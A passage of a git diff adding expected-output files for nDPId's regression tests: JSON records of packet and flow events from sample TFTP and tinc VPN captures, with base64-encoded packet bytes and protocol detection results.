+01086{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":104726,"pkt_caplen":558,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":558,"pkt_l4_len":524,"pkt":"AAu+GJpAAFCN14tDCABFAAIgkzAAAIARI0XAqAAKwKgA\/Q11xboCDA\/KAAMAB1RlbG5ldCBQcm90b2NvbAogICBTcGVjaWZpY2F0aW9uIiBbM10uKSAgTm90ZSB0aGF0IGl0IGlzIDggYml0IGFzY2lpLiAgVGhlIHRlcm0KICAgIm5ldGFzY2lpIiB3aWxsIGJlIHVzZWQgdGhyb3VnaG91dCB0aGlzIGRvY3VtZW50IHRvIG1lYW4gdGhpcwogICBwYXJ0aWN1bGFyIHZlcnNpb24gb2YgYXNjaWkuKTsgb2N0ZXQgKFRoaXMgcmVwbGFjZXMgdGhlICJiaW5hcnkiIG1vZGUKICAgb2YgcHJldmlvdXMgdmVyc2lvbnMgb2YgdGhpcyBkb2N1bWVudC4pIHJhdyA4IGJpdCBieXRlczsgbWFpbCwKICAgbmV0YXNjaWkgY2hhcmFjdGVycyBzZW50IHRvIGEgdXNlciByYXRoZXIgdGhhbiBhIGZpbGUuICAoVGhlIG1haWwKICAgbW9kZSBpcyBvYnNvbGV0ZSBhbmQgc2hvdWxkIG5vdCBiZSBpbXBsZW1lbnRlZCBvciB1c2VkLikgIEFkZGl0aW9uYWwKICAgbW9kZXMgY2FuIGJlIGRlZmluZWQgYnkgcGFpcnMgb2YgY29vcGVyYXRpbmcgaG9zdHMuCgogICBSZWZlcmVuY2UgWzRdIChzZWN0aW9uIDQuMikg"} +00417{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":107183,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":12,"pkt":"AFCN14tDAAu+GJpACABFAAAgAAcAAP8ROW7AqAD9wKgACsW6DXUADKpDAAQABwAAAAAAAAAAAAAAAAAA"} +01085{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"tftp_rrq.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1367411052,"pkt_ts_usec":107258,"pkt_caplen":558,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":558,"pkt_l4_len":524,"pkt":"AAu+GJpAAFCN14tDCABFAAIgkzEAAIARI0TAqAAKwKgA\/Q11xboCDBNwAAMACHNob3VsZCBiZSBjb25zdWx0ZWQgZm9yIGZ1cnRoZXIgdmFsdWFibGUKICAgZGlyZWN0aXZlcyBhbmQgc3VnZ2VzdGlvbnMgb24gVEZUUC4KCjIuIE92ZXJ2aWV3IG9mIHRoZSBQcm90b2NvbAoKICAgQW55IHRyYW5zZmVyIGJlZ2lucyB3aXRoIGEgcmVxdWVzdCB0byByZWFkIG9yIHdyaXRlIGEgZmlsZSwgd2hpY2gKICAgYWxzbyBzZXJ2ZXMgdG8gcmVxdWVzdCBhIGNvbm5lY3Rpb24uICBJZiB0aGUgc2VydmVyIGdyYW50cyB0aGUKICAgcmVxdWVzdCwgdGhlIGNvbm5lY3Rpb24gaXMgb3BlbmVkIGFuZCB0aGUgZmlsZSBpcyBzZW50IGluIGZpeGVkCiAgIGxlbmd0aCBibG9ja3Mgb2YgNTEyIGJ5dGVzLiAgRWFjaCBkYXRhIHBhY2tldCBjb250YWlucyBvbmUgYmxvY2sgb2YKICAgZGF0YSwgYW5kIG11c3QgYmUgYWNrbm93bGVkZ2VkIGJ5IGFuIGFja25vd2xlZGdtZW50IHBhY2tldCBiZWZvcmUgdGhlCiAgIG5leHQgcGFja2V0IGNhbiBiZSBzZW50LiAgQSBkYXRhIHBhY2tldCBvZiBsZXNzIHRoYW4g"} diff --git a/test/results/tinc.pcap.out b/test/results/tinc.pcap.out new file mode 100644 index 000000000..d927b49c9 --- /dev/null +++ b/test/results/tinc.pcap.out @@ -0,0 +1,68 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"tinc.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1495983427717,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.168.27","dst_ip":"185.83.218.112","src_port":59244,"dst_port":55655,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":717971,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABcILL3nACbGCvpSCABFEAA8vEtAAEAGvw6DcqgbuVPacOds2We5l\/9AAAAAAKACchD0JwAAAgQFtAQCCAp3tTETAAAAAAEDAwc="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"tinc.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1495983427744,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.168.27","dst_ip":"185.83.218.112","src_port":49290,"dst_port":55656,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":744301,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABcILL3nACbGCvpSCABFEAA8k+lAAEAG53CDcqgbuVPacMCK2WgWL9D7AAAAAKACchDyzQAAAgQFtAQCCAoov3nyAAAAAAEDAwc="} +00420{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":768940,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACbGCvpSABcILL3nCABFCAA0AABAADEGimq5U9pwg3KoG9ln52yg0OtBuZf\/QYASOQhw5gAAAgQFtAEBBAIBAwMH"} +00404{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":768999,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABcILL3nACbGCvpSCABFEAAovExAAEAGvyGDcqgbuVPacOds2We5l\/9BoNDrQlAQAOXp2wAA"} +00420{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":769052,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"ABcILL3nACbGCvpSCABFEAAzvE1AAEAGvxWDcqgbuVPacOds2We5l\/9BoNDrQlAYAOU1egAAMCB0aGluayAxNwo="} +00421{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":794171,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACbGCvpSABcILL3nCABFCAA0AABAADEGimq5U9pwg3KoG9lowIoRT99iFi\/Q\/IASOQgE1gAAAgQFtAEBBAIBAwMH"} +00404{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":794228,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABcILL3nACbGCvpSCABFEAAok+pAAEAG54ODcqgbuVPacMCK2WgWL9D8EU\/fY1AQAOV9ywAA"} +00416{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":794279,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"ABcILL3nACbGCvpSCABFEAAvk+tAAEAG53uDcqgbuVPacMCK2WgWL9D8EU\/fY1AYAOWeRAAAMCB0IDE3Cg=="} +00412{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":816156,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACbGCvpSABcILL3nCABFCAAo0wJAADEGt3O5U9pwg3KoG9ln52yg0OtCuZf\/TFAQAHPqQgAAAAAAAAAA"} +00421{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":816176,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"ACbGCvpSABcILL3nCABFCAAy0wNAADEGt2i5U9pwg3KoG9ln52yg0OtCuZf\/TFAYAHOP7AAAMCBpbml6IDE3Cg=="} +00405{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":816188,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABcILL3nACbGCvpSCABFEAAovE5AAEAGvx+DcqgbuVPacOds2We5l\/9MoNDrTFAQAOXpxgAA"} +01799{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":816902,"pkt_caplen":1093,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1093,"pkt_l4_len":1059,"pkt":"ABcILL3nACbGCvpSCABFEAQ3vE9AAEAGuw+DcqgbuVPacOds2We5l\/9MoNDrTFAYAOVaPwAAMSA0MjkgNjcyIDAgMCAyQ0RBOTlENzEyMEZENkRFQkMwQkUwQjA4NTI4ODc2QjRBQjYyRENGQjFFRTEzRjA1OERGQ0I1RjcyOEMwRTQ4QjMzMEE2MTJDNTc2NTI4NDYyQ0ZCRDA5QUYzNEU4NDUxODdENzMzRjg3ODZGM0Y0ODNBRDVDOUNFQ0U4M0JBMTAwNjMxRjQ1RTI1M0UwQUQ2QTE5Q0Y0NkMzMEI4ODY0NEVFMUI4RDA0RDEzQ0FBQUJBODNBNTcxMDE4NThCNjZCQjg5RDcxQ0YyQ0M5N0FCMjA5NjE0QUJDQ0U4MTIyMTJDMTJCMzM5NUY1RjE2QjQxQTVCMzlFMkYyRDIwQUQ3MjMzMzJCNTRDREVFRDhENEYzOERCN0Q5MDgzQzMxMjdDRjhEODgxQTlENTJEM0NCQzc0RDhCNDMzNjZCNjIzRDA4NUYyMzI3OTgyREYxRDA4ODc4MjMxMjc3REIzRTI5NEJGQTQ5NUM2OUVGOTUxMjIzOTEwOEEzQTdBRjg2NDYzMzQ2MzdCNTYxNUI1RkE0MzUzMjM5MDY3NDAwMkJBRkI2RjRDNjNENjExQ0EyOEU2QjEyRkRGNjZCODAwQ0QzNDYwMkFDOTFGQkUyMkEyMzA3MDU4ODdEMTdCMEIyQUI1OEE5RjY4N0FCQkQ4RDhCRkU0ODMxNTc0MDAxODBBMDEyQjg0NERFQUU4RERDMjJDOUFBNjMxQ0NFQzU3QzRGNzRBRkZFMTZEOUU1RDE1QkM3QzhENjNFNjdFQTE3QzFDREI1QkNCM0EwRjFGNDEzRUU0RUJDQjE1RUY5MDREMzI4NzE3Qjc4NjFEQUJFMDBEMDNBRjQ1MzdDMzA2NUJDNDhEN0M5NjAwMTFBMDlCQTU5NjcxQkQxRDQxMTc1NUM3RDBCQzFCMzNCQ0VBMTM4NzI0NzZBNzdFRjFEMkVGMzI5QTg5RUJEQzZDOTE0NTQ5NTE2Njk0QzU5ODM0RTlBNTFCQUUzRjY4MjE1NjgyNjBFNzk4MjY3NDY3NERCMjMzQTNCNzQ5MDBBM0JFNjY0RjYyNjQwMEQ0MjYzQ0E3Nzk2RUNGNzBFRTM0RDZDNjc1MUY4RDE4M0I4MDM0RjEzNTZDOTA3QkNDN0RCMDFGQzFEMTIxOEJGNzk2M0EwMThCODNEQTU5ODMyQzZCQzRENjRCRjY4Mjg4ODAyMTU3M0FFNzhDMzFGNzgxRkI5MUM3QUIzQkY2RTNBODBBOTZBRDA2OTNBQzI1QkY5RkI1RDRDMjk4MDY0QjM2OUFFNkUyMDg1OUJCREU5MTM3QzQ0MkUxRkU3ODU5NzQ3MDIwOEMzMjA5N0YzQTZEQTI3Njk4RTQ0REFENzQ3NEMwMThCCg=="} +01795{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":818440,"pkt_caplen":1091,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1091,"pkt_l4_len":1057,"pkt":"ACbGCvpSABcILL3nCABFCAQ10wRAADEGs2S5U9pwg3KoG9ln52yg0OtMuZf\/TFAYAHNfmAAAMSA5NCA2NCAwIDAgNkIyNTk3MDlCMkFERDA4OThCQjhBOTg3QUEzMzlGREZCMjRBQkVBRTc0RTYxM0MzRDJCQkUxMTk3RTlGMzg5RjY5NTVDRjA4NUNFNUU4RjY1RTc5RUFGMkRDQ0QxRjczODc3Mzc3NzVERUREMTMzRDE0MDFCQ0JCODdBNTQ4RTg3RkQzMDhDMjc3NERFRkExOTI2Qjc2M0I2MzgwREQwMkRDMTc5NDkwNzNENEFGOTY1RTY4MkI1QkE4QTdFNTQxOTNEMTRGRTVCQzI3ODk4QTU3OEJDOTNDMTEwNDM5NkEwMzRCOEVEMzQwNEEyQjlDQTI0NEY5QUQwMjRENjAwMzk4OTk2M0VBNjQyQTNFMzBFQjk2MENBMDY1MTU2NDdDMEU1MjU0QkUxRTc1RkY0REVCMTQxNzA1NzI5MzcxNjZGOThGQUE4ODEwNkMxQ0RGQjI4NjNFMkNFOUI1MzRFODJDOUQxOEVFMTg0NkE3RkQ2QjA3NDRDMTM2NDREMTJDNjA1ODY3QkVDREVEQzU3RUQzOEEyMDM0RDVCNDdDNTA4QTBCMEUzNzEzMEIwNjVDNjQzNDRENjNFNDRGRTNCQkYxOUE1OTM1MUI3NEUyMjUwRjlFRUMwNUIyN0MyREE3NThBRDk5MjAzNTYwMEU5Qzc2QTk0MDQzRUFENUZENzk3ODYxNkRCNDJDMzdBMDc5NjgxREQxMzg2NkJFMkVFNEY2RDY2RDA3MDcxRjNDQkQxOUFGMUM1NTA5QUQyNzcwQTYzMkE1OURGOTA2RjBGM0UwRjgyNTVENzQyQzBFNEYxQzgyNjA1RTg5QTcyNDlEMDI2MDNFMzNEMzgzRDIzNDA2RjFDREE5QUU1NDE0OTMxMTk5NTVCMDQ0REU4QTA2QUNFODU4MkQ0NDYyNjMyRTAyMDY5NDhBRkUzM0Y1OUUyRTRBNEY4QjA0MzE2MTM2NUZDRkM0ODQxRTk0MTAxRTZCMTczNjUwRjdGMUIwQUU4ODdEODY0REM0MEE5MUNFMTYwREU1MUU1MjM3ODVDMUUxNzE1QzQ5NkVCMjMzRURBODhGMzNEMkQ2MDREMDUyNjY3RTMxNTI4Q0JGN0MzNzNFRTk5QjExMkNGOEI0MjU4MjQ0Qzc1MkYzQkJCMzBFQTdBMUQ2Mzc4NTFEMzI0MUM0MEFBQ0U2RkVGRjYwNkE1OEFENENDRDI5RDNCMzlGRUJEMDA4NjE4QTk4ODY4NDgzRkVCNDhCRjc4NDZDNzgzQTlBMzY4ODAyOTdGQzcyNjk0RDA0MENFMUI1QUEyODcwMEVGNDIwNzgzRjI4NDFBNEU4NDhBN0VGQTYzQTQ1N0UxMUJFRTkyMTQ4NzFGQQo="} +00520{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"tinc.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":9,"flow_first_seen":1495983427717,"flow_last_seen":1495983427818,"flow_tot_l4_data_len":2309,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1059,"flow_avg_l4_data_len":256,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.168.27","dst_ip":"185.83.218.112","src_port":59244,"dst_port":55655,"l4_proto":"tcp","ndpi": {"proto":"TINC","breed":"Acceptable","category":"VPN"}} +00413{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":844409,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACbGCvpSABcILL3nCABFCAAo5z5AADEGoze5U9pwg3KoG9lowIoRT99jFi\/RA1AQAHN+NgAAAAAAAAAA"} +00417{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":844446,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"ACbGCvpSABcILL3nCABFCAAv5z9AADEGoy+5U9pwg3KoG9lowIoRT99jFi\/RA1AYAHOprwAAMCBpIDE3Cg=="} +00405{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":844471,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABcILL3nACbGCvpSCABFEAAok+xAAEAG54GDcqgbuVPacMCK2WgWL9EDEU\/falAQAOV9vQAA"} +01795{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":844511,"pkt_caplen":1091,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1091,"pkt_l4_len":1057,"pkt":"ACbGCvpSABcILL3nCABFCAQ150BAADEGnyi5U9pwg3KoG9lowIoRT99qFi\/RA1AYAHMHJQAAMSA5NCA2NCAwIDAgNTg2MUFCRjZBODU4NUNFRTIyMDFCQTE4NUFDMDIwMEFDOTBEMEE5NDMxQUM0ODk3NEY3NEQ5REMzNzk4QjNBOEYzRkMwNDI4N0U0MDY0RkQ2OEE5QjJEQUM1RkNFNjczNEQyNERENzExQjFERjE3RUU4QjU2MTE4NTlCQjM3OTYzMjUwMTIwMzVFQ0M1Nzg5MEVDQUJDMDM5NUI2ODdCQTgwRjQzM0Y4RDA0OTZERjk1MjFDNTdGMzgzNkYxNkMwMERFRDRFRTcxNjg0RDIzQkUzQUFFNTJBQjVCNUU2QjNCRjA2Q0JDRjYwODIzOTJBNjkzQUJCQTQ2NTBEMUVCMTY0NjQ2MkMzMUNFQTc2NzhBMUExODJDRUY5RjBENkU5RkZFMDg2Rjc2NDIzQUEyMkRFRUE1QzczMDBBRDYyRUU5MzNEQTJCMjJFMEIxQjA2MkQ2NkM0NDA3NURFMjdCQkQ1MDkxQkRBMUZCOTI5Rjg5NTdCNDVFQzA0QUQzQ0ExNTAzOUFCRUI3RURBRDVERTRDMjVGREREMTMxMDQ5MzBDMDFBOENEQTJFQkQ1ODQzOEQ4OTlBQ0E3NTRFQjYwRUREMTI5QzMxNTg4NTNBMTMwNEEyRTcyNDZDOTg3MjlGQzlCRjVBRjk4RTk2MEI4RjhGQTJCNzk3NDg0NkVCQjQzNEU3NzkwNEQzRTQxQkEwNjEyQUU4MUREOTM5M0ZBOUM0Q0NGRjFFNTcyNTA3MDM5NkQ5OUQ1MkJFQUFBMENBRDQzQThEMkIzREM3QjcwMzMyNDRGMUQ1M0MwRDFERDA4RjQ4REI5M0NBOEU3MzBCODBCRTM2MERGRkYxMjE2QTI0NEUxMERFRDcyQ0RGQjAxQ0Y5RjIyOUI0NkRDRDgxNjJFQ0I4MjlCMUI4NTNGNDZENjc3NzZDMDg1RDdFMDMyODk2REE3MDMzRjg1NDU3MTU2MzA3NTdDMTNBOTU0Q0Q5MEEzQTA0QTA2MTQwODA4RDhERTEwN0M5QTRGNUIyQURDQzE5QUFGNTc5REE3RjQzRkMzMkM3MDg0ODg0RkQ5QzRGNkI2NzM3QzA4OTU1RDZCRTZFOUE0Q0YxRURGQTVBRDY1MkY3MzhDQzY2OTJDNDUwMTcyQjY0NTk1RkJBMTU2Q0RGQ0ZFRjVCQTg4NzBCRUZFQUVFNjM0RjZCRTQwNzU0ODgzNzdGQTJFNTJGNjUxOEI4NDhGNEE4OTcyM0E2RjNFRTZEOUQ2MTgxNTUwNzZDNUU4OTYwRDdCRUEzRTBCQTk3QkM1MjdDQzhENThGMDdEMkJCMkRDMTg2REQ4QzA2Mzk2RkI4RkMxOTQyNjRBNkYxRDUzMDgwMTE4NAo="} +00405{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":844547,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABcILL3nACbGCvpSCABFEAAok+1AAEAG54CDcqgbuVPacMCK2WgWL9EDEU\/jd1AQAPV5oAAA"} +01800{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":846083,"pkt_caplen":1093,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1093,"pkt_l4_len":1059,"pkt":"ABcILL3nACbGCvpSCABFEAQ3k+5AAEAG43CDcqgbuVPacMCK2WgWL9EDEU\/jd1AYAPXfGwAAMSA0MjkgNjcyIDAgMCA0RjhGNzEyQUI0NkY3NzAwMDhFNTJDMjEzNkI3RjhGQUU2REE2NTdFN0RFRkJBNDUwRTBDOEREODQxODBBNTgxNzI0MUE5REEyNzdGRkExQUQ1NTMzMjczMUVCMzQ3NkNBM0IwMjMwNEFCOEQ4NDEwMTQzRTg2REY4RjgxNUQ5RUE5ODlFQkM4QUZDNEQ0NjQ1M0RGOTQ1QzVBNzMxNjhGMTc3QTJCNDQ3RTMxNDZEMjA2QTg2N0YwQ0U0NzUwRTIzN0Q5QjQyRUZFNDA2ODc1NDJGRkY2NzUxRkVGRTVFOERFQTc5NzI0NUJDOTM5RUFEM0U5M0MwMTExQTZCRUZGQkQyMTA1Qjk3RDAzRTc0NUNFNTU0MDI2NjQyMkFDMzdDQTRENzNCRjVBMTUwNjIzMjA5QzQwNEE4QzEzNTQwQjM5MTBFQ0QwRkU2QjYzMTlDREU1REY2OURDNDMxRUE1OTZFRjFCQUNGMjMwNzAxNDQwODlBMUNFMjYxRDFCNzg0NzUyNEU0ODBENTQxRUYzMTdFQkI0MDY3QkQxNUNGMzJCMEM0OUJBRjhGNzgyMTgwMzU5RTZDN0Q0QzQ2MEI4M0U1MjJEODIyMTg2MEZFNUMwMjMyRDk2N0JGRTI3RTAwQzE3OEEzNjg1MDAxMDRCRTE3REU3N0Q0NkQ5OUUyRTEyM0M2ODdCODYwMUFDMjI3MzlBRDQ0MkMxMUUwQ0I2RTc4NkQ3RDI4QjE1MTZERENGMDg3MzcyMDFDNEUwMDAyM0QzODkyNzhFRUNDMTlFQUEyOENCNjlDRTNBNkZGMjQ3Q0JENDIzMjI2RTI0NTVBREFGMTMyNjZDOTZCMjdDOURERjJDQzdFNEMwQkEwMzgyMzg0M0IxNDFGNzY4ODhCNzFDRTdBREIxQjRBQkNGMEY5MDQ3NjUyRjMzMzc3NDlGQkJDQjA0NDU0ODFDNTJFMkIxQjg0OEJBMEQ4QTBBNEY2Q0E5ODk3MjJCQzUyRjZDNjA3RjRBRjU1QzUzMDkzNDA4MEY5OUVBQkI5OTk1MDJDQUUxMzdCMTY3MzVGOUJGOUE4M0YwQUE2OTczNkFBQkVBRkYwODNCQ0ZBMjgyQkVFNTUxNUU1OUI0NjQ2OUY3MUVCMDg2NjIwRUI0NTFEMENCMTA2Q0JDMjIyRDZEOTM4RDAxRTJEN0ExODQ4MDMyN0MwMEY3QjVCNERBQjg0OTBGQjI4OTI2REQ1MEQwMTY5QjBBOEU2NEYxMzhEOEFCRTJERUQwODJBMTcyNkJBQjcwNkNFREZDNDA0NzE4RjRDOEYyNzJDNDYzN0FFOUExNEMwRjhFMjQ1MTFGNEU5NkM4Qjk0NzkwNUY4Qjg3Cg=="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"tinc.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":10,"flow_first_seen":1495983427744,"flow_last_seen":1495983427846,"flow_tot_l4_data_len":2322,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1059,"flow_avg_l4_data_len":232,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.168.27","dst_ip":"185.83.218.112","src_port":49290,"dst_port":55656,"l4_proto":"tcp","ndpi": {"proto":"TINC","breed":"Acceptable","category":"VPN"}} +00405{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":861035,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABcILL3nACbGCvpSCABFEAAovFBAAEAGvx2DcqgbuVPacOds2We5mANboNDvWVAQAPXhmgAA"} +01805{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983427,"pkt_ts_usec":876000,"pkt_caplen":1081,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1081,"pkt_l4_len":1047,"pkt":"ABcILL3nACbGCvpSCABFEAQrvFFAAEAGuxmDcqgbuVPacOds2We5mANboNDvWVAYAPUkEQAAiB+s2kqTqI6YM\/AUnmeMiobHdt\/DLj5S\/GLPHBry5z9cJr34QzkNjEA4v1PHR83p7XlCAxSeXJwFwoUmAaXnb4\/u8zplJP2gXGTKNDvRlE+xOjCsUi3N5GsAYIrxRd36Grn29UKIS11fyEGh\/jiRwTCtEPInGx0j0SI5sw3OIdJCTbVMkaljBwxgvJB6qk054et+feVZDe+NNlp2O2s6Q5UgvJxQXKtetmTBtKjPt+nnAYxQ7nEzoQoMOThYGYKSJO7QRq7+v96aT+sbwm4Ssic5elO06H4uFntzK09OB\/gPIQNgJQKL0z+cSHfWpaWnU2QkPxnSR1qZNa613\/\/KBpEjj82HjWhQFWwek+e2VmcbH7+q8FArjEnSDpYV+hpb0qC